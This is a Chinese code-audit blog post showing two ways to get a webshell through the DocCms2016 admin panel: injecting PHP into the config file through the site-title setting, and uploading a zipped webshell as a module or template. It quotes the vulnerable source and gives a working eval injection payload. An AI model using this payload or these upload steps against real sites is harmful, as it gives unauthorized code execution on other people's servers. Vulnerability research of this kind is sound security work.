【代码审计】后台Getshell的两种常规姿势

简介: 0x00 前言   在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作。 这里结合代码实例介绍白盒Getshell的两种常规姿势:写入配置文件Getshell、模块安装Getshell。

0x00 前言

  在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作。

这里结合代码实例介绍白盒Getshell的两种常规姿势:写入配置文件Getshell、模块安装Getshell。

0x01 环境搭建

Doccms官网:http://www.doccms.com
程序源码:DocCms2016
下载地址:https://pan.baidu.com/s/1pLclifL

0x02 写入配置文件Getshell

代码分析:

1、在/admini/controllers/system/options.php,save函数通过一大串的表达式替换得到变量tempStr,然后调用了string2file函数写入配置文件,跟进这两个函数查看:

function save()
{
    global $request;
    if(filesize(ABSPATH.'/config/doc-config-'.$request['l'].'.php')>0){
        ……
        $tempStr = file2String(ABSPATH.'/config/doc-config-'.$request['l'].'.php');
        $tempStr = preg_replace("/\('WEBOPEN',.*?\)/i","('WEBOPEN',".$request['webopen'].")",$tempStr);
        $tempStr = preg_replace("/'WEBURL','.*?'/i","'WEBURL','".$request['weburl']."'",$tempStr);
        $tempStr = preg_replace("/'MOBILEURL','.*?'/i","'MOBILEURL','".$request['mobileurl']."'",$tempStr);
        $tempStr = preg_replace("/'WEBSIZE','.*?'/i","'WEBSIZE','".$request['websize']."'",$tempStr);
        $tempStr = preg_replace("/'SITENAME','.*?'/i","'SITENAME','".$request['sitename']."'",$tempStr);
                 ……

2、在/inc/function.php,第100-105行中,string2file函数,并未做任何处理,只是将字符串写入文件中:

function string2file($str,$filePath)
{
    $fp=fopen($filePath,'w+');
    fwrite($fp,$str);
    fclose($fp);
}

综上,在表达式替换字符串的过程中,只是作为简单的字符串替换,并未做任何匹配限制,我们可以将构造好的代码写入配置中,导致程序在实现上存在代码执行漏洞。

漏洞利用:

1、 登录后台,在站点设置--基本设置--站点标题处,填写

Payload:test\');eval($_POST[g]);//

2、 成功写入全局配置文件doc-config-cn.php中:

3、直接访问http://127.0.0.1/config/doc-config-cn.php,显示403Forbidden,全局搜索 doc-config-cn.php,查找包含该文件的文件。

 

4、访问http://127.0.0.1/editor/keditor/php/upload_json.php,因此文件包含doc-config-cn.php,包含的代码执行漏洞被触发。

 

 

0x03 模块上传Getshell

代码分析:

function upload_model()
{
    //把模版先暂时上传在系统根目录的TEMP文件夹里,解决safe_mode On时无法上传在环境文件夹下
    //suny.2008.01.16
    $upload = new Upload(10000,'/temp/');
    $fileName = $upload->SaveFile('upfile');
    if(is_file(ABSPATH.'/temp/'.$fileName))
    {
        del_dir(ABSPATH.UPLOADPATH.'temp/');
        mkdirs(ABSPATH.UPLOADPATH.'temp/');
        if(unzip(ABSPATH.UPLOADPATH.'temp/',ABSPATH.'/temp/'.$fileName,ABSPATH.'/temp/'.$fileName)==1)
        {
            $doc = get_config_xmldoc('config');
            exec_config($doc);
            $doc = get_config_xmldoc('install');
            exec_install($doc);
    
            redirect('?m=system&s=managemodel');
        }
    }
}

在模块上传的过程中,先删除temp目录中存在的所有文件,然后解压缩文件到temp目录下,我们可以上传一个压缩打包好的一句话木马,自动解压缩到temp目录下,获取webshell。

漏洞利用:

1、模块管理--安装模块--上传zip压缩文件--上传完成--自动解压upload\temp目录下 可getshell

2、成功将一句话木马,上传到temp目录下

另外,在其他功能中,也找到了类似的操作,如:

模板管理--上传模板--上传zip压缩文件--上传完成--自动解压\skins目录下,可getshell

0x04 END

   如果手头拿到一套代码,想要了解如何去Getshell,除了上传点,那么这两种常规姿势是非常有效的,当然思路不局限,只是分享一个审计套路而已。

有朋自远方来,不亦乐乎?有对这方面有研究的童鞋,欢迎前来相互探讨,交流。

目录
相关文章
|
SQL 供应链 安全
泛微E-Cology ofsLogin任意用户登陆漏洞
泛微e-cology是一套兼具企业信息门户、知识文档管理、工作流程管理、人力资源管理、客户关系管理、项目管理、财务管理、资产管理、供应链管理、数据中心功能的企业大型协同管理平台。
1260 1
泛微E-Cology ofsLogin任意用户登陆漏洞
|
人工智能 文字识别 监控
将人工智能融入多媒体 助力视频产业加速——阿里云视频AI全能力解读
结合人工智能视频理解流程和用户的需求场景,我们将视频AI的功能分成四个大部分,视频智能审核、视频内容理解、视频智能编辑、视频版权保护。其中视频审核功能包括视频鉴黄、暴恐涉政识别、广告二维码识别、无意义直播识别等,利用识别能力将网络上没营养和不健康的视频内容进行排查和处理;视频理解功能包括视频分类、标签,人物识别、语音识别,同时也包括对视频中的文字进行识别(OCR);视频编辑层面可以实现视频首图、视频摘要、视频highlight的生成,同时支持新闻拆条;关于视频版权,支持视频相似性、同源视频检索和音视频指纹等功能。
17751 0
将人工智能融入多媒体 助力视频产业加速——阿里云视频AI全能力解读
|
人工智能 前端开发 JavaScript
前端架构思考 :专注于多框架的并存可能并不是唯一的方向 — 探讨大模型时代前端的分层式微前端架构
随着前端技术的发展,微前端架构成为应对复杂大型应用的流行方案,允许多个团队使用不同技术栈并将其模块化集成。然而,这种设计在高交互性需求的应用中存在局限,如音视频处理、AI集成等。本文探讨了传统微前端架构的不足,并提出了一种新的分层式微前端架构,通过展示层与业务层的分离及基于功能的横向拆分,以更好地适应现代前端需求。
391 0
|
Nacos 开发者
nacos报错 Server check fail, please check server 127.0.0.1 ,port 9848 is available , error ={}
在配置文件中指定的Nacos服务器地址未被项目使用,程序仍尝试连接到127.0.0.1。开发者寻求帮助排查问题,已花费多天未果。
|
分布式计算 Hadoop 大数据
Hadoop与Spark在大数据处理中的对比
【7月更文挑战第30天】Hadoop和Spark在大数据处理中各有优势,选择哪个框架取决于具体的应用场景和需求。Hadoop适合处理大规模数据的离线分析,而Spark则更适合需要快速响应和迭代计算的应用场景。在实际应用中,可以根据数据处理的需求、系统的可扩展性、成本效益等因素综合考虑,选择适合的框架进行大数据处理。
|
XML 安全 网络安全
XXE漏洞详解(三)——XXE漏洞实际运用
XXE漏洞详解(三)——XXE漏洞实际运用
697 4
|
存储 监控 安全
DOS 拒绝服务攻击及其预防和缓解方法
【8月更文挑战第20天】
1720 0
|
网络协议 安全 算法
"网络世界的守护者:一探究竟TCP协议如何确保数据传输的绝对安全与可靠"
【8月更文挑战第20天】传输控制协议(TCP)是网络通信中的核心协议之一,它确保数据包能可靠、有序地从源头传输到目的地。TCP采用三次握手的方式建立连接,并通过序列号、确认应答及超时重传来保障数据传输的准确性。此外,TCP还具备流量控制与拥塞控制功能,避免网络拥塞。虽然TCP在可靠性上表现优异,但在快速传输场景中可能存在局限。深入理解TCP对于网络工程师和开发者至关重要。
403 1
|
SQL Java 数据库连接
【Java】已解决java.sql.SQLRecoverableException异常
【Java】已解决java.sql.SQLRecoverableException异常
2033 0
|
存储 搜索推荐 Linux
CDN服务器真实地址
Discover CDN server real IP addresses using Traceroute & Whois, CDN provider logs (with provider cooperation), analyzing HTTP headers, online tools, or the ping command. Note that CDN
761 0